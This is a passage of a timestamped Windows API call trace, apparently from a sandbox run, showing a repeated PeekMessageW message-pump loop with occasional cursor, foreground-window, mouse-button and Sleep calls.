lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.279] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.280] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.281] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.282] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.283] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.284] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.307] GetForegroundWindow () returned 0xc018a [0051.307] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.307] GetCursorPos (in: lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500*(x=528, y=533)) returned 1 [0051.308] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500) returned 1 [0051.308] GetAsyncKeyState (vKey=1) returned 0 [0051.308] GetAsyncKeyState (vKey=2) returned 0 [0051.308] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.308] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.308] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.308] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.308] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.308] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.308] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.308] Sleep (dwMilliseconds=0xa) [0051.323] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.323] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.323] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.323] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.323] Sleep (dwMilliseconds=0xa) [0051.338] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.338] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.338] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.338] PeekMessageW (in: 